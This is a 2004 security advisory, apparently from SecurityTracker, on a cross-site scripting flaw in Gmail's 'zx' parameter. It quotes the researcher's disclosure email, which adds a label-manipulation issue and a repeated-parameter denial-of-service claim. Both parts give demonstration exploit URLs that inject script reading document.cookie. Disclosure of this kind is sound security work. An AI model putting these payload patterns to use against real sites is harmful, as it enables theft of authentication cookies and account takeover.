Gmail 'zx' Variable Input Validation Bug Lets Remote Users Conduct Cross-Site Scripting Attacks
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SecurityTracker Alert ID: 1012289
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SecurityTracker URL: http://securitytracker.com/id?1012289
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Nov 20 2004
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Impact: Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
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Exploit Included: Yes
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Description: Lostmon reported an input validation vulnerability in Gmail. A remote user can conduct cross-site scripting attacks.
It is reported that the zx variable is not properly validated. A remote user can create a specially crafted URL that, when loaded
by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from
the Gmail site and will run in the security context of that site. As a result, the code will be able to access the target user's
cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user
via web form to the site, or take actions on the site acting as the target user.
A demonstration exploit URL is provided:
http://[target]/gmail?search=cat&cat=etik
eta&view=tl&start=0&zx=18acabd2b173f0d81040559556<script>alert(document.cookie)</script>&fs=1
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Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the Gmail site, access
data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
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Solution: [Editor's note: From testing, it appears that this flaw has been corrected, but that was not confirmed in the report.]
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Vendor URL: www.google.com/ (Links to External Site)
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Cause: Input validation error
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Reported By: Lostmon <lostmon@gmail.com>
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Message History:
None.
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Source Message Contents
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Date: Sat, 20 Nov 2004 03:37:04 +0100
From: Lostmon <lostmon@gmail.com>
Subject: multiples vulnerabilities in gmail service (XSS, Denial of Service,)
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#######################################
Denial of service On gmail account
vendor url: http://gmail.google.com/
vendor notified:yes exploit included :yes
original advisore:http://lostmon.spymac.net/blog/
########################################
wen a user have active the Gmail“s cookie a user can create a special URL to
Gmail service have these two vulnerabilities :
1- change a name of button of "remove label" and can create a Ghost categorie.
http://gmail.google.com/gmail?search=cat&cat=[label_name]&view=tl&start=0&zx=18acabd2
b173f0d81040559556&fs=1
2 .variable xz no validate properly the imput and can permit execute XSS code
http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f
0d81040559556[XSS-code]&fs=1
3.Denial of service fs variable not count how many times is in url and ,,,,
http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f
0d81040559556&fs=%3Cscript%3Ealert(
document.cookie)%3C%2Fscript%3E&fs=1
or
http://gmail.google.com/gmail?search=cat&cat=etiketa&view=tl&start=0&zx=18acabd2b173f
0d81040559556&fs=%3Cscript%3Ealert(
document.cookie)%3C%2Fscript%3E&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs
=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&
fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1&fs=1
nice :)
atentamente:
Lostmon
thnx to http://www.ayuda-internet.net for their support
Thnx to Rottew and ismax
Thx to estrella to be my ligth
La curiosidad es lo que hace mover la mente....
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